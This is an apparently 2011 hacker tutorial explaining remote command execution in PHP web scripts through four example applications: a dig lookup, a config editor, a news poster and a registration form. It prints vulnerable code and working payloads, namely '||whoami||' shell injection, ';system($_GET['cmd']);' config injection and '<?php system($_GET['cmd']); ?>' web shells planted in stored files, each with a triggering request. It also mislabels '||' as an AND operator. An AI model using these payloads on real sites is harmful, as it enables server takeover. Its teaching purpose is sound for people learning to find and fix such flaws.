Understanding Basic Vuln c0de for RCE (Remote Command`s Execution)

Author: eidelweiss

Home Page: www.eidelweiss.info

Blog Page: http://eidelweiss-advisories.blogspot.com

0x1: Introduce

What is Remode Command Execution (RCE) or arbitrary code execution (ACE)?!!

first thing In computer security, **arbitrary code execution** is used to describe an attacker's ability to execute any commands of the attacker's choice on a target machine or in a target process. It is commonly used in **arbitrary code execution or remote code execution vulnerability** to describe a software / web application bug that gives an attacker a way to execute arbitrary code. A program that is designed to exploit such a vulnerability is called an **arbitrary code execution or remote code execution exploit**. Most of these vulnerabilities allow the execution of machine code and most exploits therefore inject and execute shellcode to give an attacker an easy way to manually run arbitrary commands. The ability to trigger arbitrary code execution from one machine on another (especially via a wide-area network such as the Internet) is often referred to as **remote code execution or remote code execution**

Once the invader can execute arbitrary code directly on the OS, there is often an attempt at a privilege escalation exploit in order to gain additional control. This may involve the kernel itself or an account such as Administrator, SYSTEM, or root. With or without this enhanced control, exploits have the potential to do severe damage or turn the computer into a zombie - but privilege escalation helps with hiding the attack from the legitimate administrator of the system. An *arbitrary remote code execution with privilege escalation vulnerability* in widely-deployed software is thus the worst vulnerability sub-type of them all. If bugs of this kind become known, fixes are usually made available within a few hours.

0x2: example concept and proof of concept

Here I will try to give an basic example of Remote Command Execution in web application or php script.

But You will neved find this in PHP scripts unless the coder is a monkey.

1. Lets start with an real-life example.All the following examples is real-life.All of them are discovered by me in different php scripts.

The 1st example is an whois lookup script,they execute command in terminal to do that. Works only on *NIX systems.

Lets take a look in dig.php file :
Bellow is sample code in dig.php file:

```
<?php

    include("common.php");
    showMenu();
    echo '<br>';
    $status = $_GET['status'];
    $ns  = $_GET['ns'];
    $host   = $_GET['host'];
    $query_type   = $_GET['query_type']; // ANY, MX, A , etc.
    $ip     = $_SERVER['REMOTE_ADDR'];
    $self   = $_SERVER['PHP_SELF'];
```

.... Snip ....

```
$host = trim($host);
          $host = strtolower($host);
          echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns
$host $query_type</u></b><br>");
          echo '<pre>';
          //start digging in the namserver
          system ("dig @$ns $host $query_type");
          echo '</pre>';
    } else {
?>
```

`From the c0de` We are interested in these lines :

```
    $ns  = $_GET['ns'];
    system ("dig @$ns $host $query_type");
```

The "**ns**" variable is unfiltered and can be modified by user.An attacker can use any command that he want through this variable.We can execute commands like in the previous example.
If we request :

`dig.php?ns=whoam&host=pw.net&query_type=NS&status=digging`

The command Will not work.Why? Lets split it, server will read or the code will be:

```
system ("dig whoami pw.net NS");
```

and that command dont exist and the execution will fail.What to do to work?In *NIX systems we have the AND operator who can be used in terminal.That operator is ||.So if we make a request like this :

```
dig.php?ns=||whoami||&host=pw.net&query_type=NS&status=digging
```

our command will be succesfully executed. Why ? Because the system will read or our command or Look at the code :

```
system ("dig ||whoami|| pw.net NS");
```

will execute the command separately than "dig" and the other.

2. Lets continue with another example,little bit complicated than first.

   Some scripts let you to modify the configuration of website after install.Bad mistake because usually configuration files is .php .

   So we have the script instaled.We look in the admin.php file
   Code snippet :

```
if(isset($action) && $action == "setconfig") {
    $config_file = "config.php";
    $handle = fopen($config_file, 'w');
    $StringData = "<?php\r
    $"."news_width = '".clean($_POST[news_width])."';\r
    $"."bgcolor = '".clean($_POST[bgcolor])."';\r
    $"."fgcolor = '".clean($_POST[fgcolor])."';\r
    $"."padding = '".clean($_POST[padding])."';\r
    $"."subject_margin = '".clean($_POST[subject_margin])."';\r
    $"."fontname = '".clean($_POST[fontname])."';\r
    $"."fontsize = '".clean($_POST[fontsize])."';\r\n?>";
    fwrite($handle, $StringData);
  }
```

   We see here that the script save the settings in config.php file.

   Now let's see the config.php file content :
   Code snippet :

```
<?php
    $news_width = '600px';
    $bgcolor = '#000000';
    $fgcolor = '#ffffff';
    $padding = '5px';
    $subject_margin = '0px';
    $fontname = 'verdana';
    $fontsize = '13px';
?>
```

So we can inject php code in news_width for example .Now,the things will be more complicated.We can inject our code but we must pay attention to the code. I will show you an example to understand what I say.

We will inject the following php code in news_width variable.The code will be written into config.php file. Let's go to admin.php?action=setconfig file and inject the code.

Code :

```
<?php system($_GET['cmd']); ?>
```

The code will become :

```
<?php
    $news_width = '<?php system($_GET['cmd']); ?>';
    $bgcolor = '#000000';
    $fgcolor = '#ffffff';
    $padding = '5px';
    $subject_margin = '0px';
    $fontname = 'verdana';
    $fontsize = '13px';
?>
```

And that is wrong. If we request the config.php file we will get an parse error:

something like this

Parse error: parse error in **/var/www/config.php** on line 3

So we must inject something more complicated.

```
';system($_GET['cmd']);'
```

Why this code? Look, the code inside config.php file will become :

```
<?php
    $news_width = '';system($_GET['cmd']);'';
    $bgcolor = '#000000';
    $fgcolor = '#ffffff';
    $padding = '5px';
    $subject_margin = '0px';
    $fontname = 'verdana';
    $fontsize = '13px';
?>
```

Lets split it :

```
    $news_width = '';
    system($_GET['cmd']);
    '';
```

No parse error, so we can successfully execute our commands. Let's make the request :

`config.php?cmd=whoami`

No more || because we don't need, only our command is executed.

3. Lets go to the next example. In this script the news are saved in news.txt file.

Lets see the contents of news.txt file :

```
<table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr>
<tr><td class='sn-date'> Posted on: 13/05/2011 </td></tr> <tr><td
class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
```

We can add what we want. We can inject our code and nothing will happen because is .txt file? Wrong.
Lets search deeper the script. We go to post news by accessing post.php .

Lets take a look in post.php

```
$newsfile = "news.txt";
$file = fopen($newsfile, "r");
.......................................................................
...
elseif ((isset($_REQUEST["title"])) && (isset($_REQUEST["date"])) &&
(isset($_REQUEST["post"])) && ($_REQUEST["title"]!="") &&
($_REQUEST["date"]!="") && ($_REQUEST["post"]!="")) {
$current_data = @fread($file, filesize($newsfile));
fclose($file);
$file = fopen($newsfile, "w");
$_REQUEST["post"] = stripslashes(($_REQUEST["post"]));
$_REQUEST["date"] = stripslashes(($_REQUEST["date"]));
$_REQUEST["title"] = stripslashes(($_REQUEST["title"]));
if(fwrite($file,$btable . " " . $btitle . " " . $_REQUEST["title"] . "
" .  $etitle . " " . $bdate . " " . $_REQUEST["date"] . " " . $edate .
" " . $bpost . " " . $_REQUEST["post"] . " " . $epost . " " . $etable .
"\n " . $current_data))
include 'inc/posted.html';
else
include 'inc/error1.html';
fclose($file);
}
```

We can see here how the news are written in news.txt file. Input not filtered of course. Now the news must be displayed to visitors. How the script do that? Lets take a look in display.php file.

Code snippet :

```
<?
include("news.txt");
?>
```

Nice, the news.txt content is included in display.php file. What we do? We go to post.php and add some news.
We will inject our code in "title" variable. We write there the following code :

```
<?php system($_GET['cmd']); ?>
```

so the news.txt content will become :

```
<table class='sn'> <tbody> <tr><td class='sn-title'>  <?php
system($_GET['cmd']); ?> </td></tr> <tr><td class='sn-date'> Posted on:
13/05/2011 </td></tr> <tr><td class='sn-post'> test2 </td></tr>
</tbody></table><div><br /></div>
<table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr>
<tr><td class='sn-date'> Posted on: 13/05/2011 </td></tr> <tr><td
class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
```

And our evil code is there. Let's take a look in display.php .That file include the content of news.txt. so the code in display.php will look like :

```
<?
<table class='sn'> <tbody> <tr><td class='sn-title'>  <?php
system($_GET['cmd']); ?> </td></tr> <tr><td class='sn-date'> Posted on:
13/05/2011 </td></tr> <tr><td class='sn-post'> test2 </td></tr>
</tbody></table><div><br /></div>
<table class='sn'> <tbody> <tr><td class='sn-title'> test </td></tr>
<tr><td class='sn-date'> Posted on: 13/05/2011 </td></tr> <tr><td
class='sn-post'> test </td></tr> </tbody></table><div><br /></div>
?>
```

No parse error or any other problem so we can go to :

`display.php?cmd=whoami`

and execute succesfully our commands.

4. Now a little bit complicated script than the previous scripts.

   In this script, when we register, our details will be saved in php files.

   For example Lets take a log or c0de in add_reg.php file :

   Code snippet :

```
$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
```

.... Snip ....

```
$html = "<?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");
```

We can see that the script creates a php file in "sites" directory(ourusername.php). The script save all the user data in that file so we can inject our evil code into one field, I choose the "location" variable.

So if we register as an user with the location (set the "location" value) :

```
<?php system($_GET['cmd']); ?>
```

the code inside ourusername.php will become :

```
<?php
    $regdate = "13 mei 2011, 4:16 PM";
    $user = "pwned";
    $pass = "pwned";
    $email = "pwned@yahoo.com";
    $location = "<?php system($_GET['cmd']); ?>";
    $url = "http://google.com";
?>
```

So we will get an parse error. Not good. We must inject a more complicated code to get the result that we want.

Lets add this code :

```
\";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D
```

So the code inside ourusername.php will become :

```
<?php
    $regdate = "13 mei 2011, 4:16 PM";
    $user = "pwned";
    $pass = "pwned";
    $email = "pwned@yahoo.com";
    $location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
    $url = "http://google.com";
?>
```

and we will have no error. Why? See the code :

```
$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
```

Lets split it :

```
    $location = "";
    ?>
    <?php system($_GET['cmd']);?>
    <?php $xxx=":D";
```

We set the location value to "", close the first php tags, open the tags again, wrote our evil code, close the tags and open other and add a variable "xxx" because we don`t want any error. I wrote that code because I want no error, can be modified to be small but will give some errors(will not stop us to execute commands but looks ugly).

So we can go to :

`sitestarg.et/ourusername.php?cmd=whoami`

and successfully execute our commands !!!

This Paper is made for Educational Purpose only , I or author will not responsible for any damage.

0x3: Reference and Thanks

References:

- http://en.wikipedia.org/wiki/Arbitrary_code_execution
- http://eidelweiss-advisories.blogspot.com/2011/05/understanding-basic-vuln-c0de-for-rce.html
- www.google.com

Thanks:

- **GOD**
- **My parent and My Familly**
- **All my friends**
- **Devilzc0de , yogyacarderlink and other hacking/cyber community & forum**
- **Exploit-db team , packetstormsecurity team, security focus, security reason, etc.**

=======================| EOF |=======================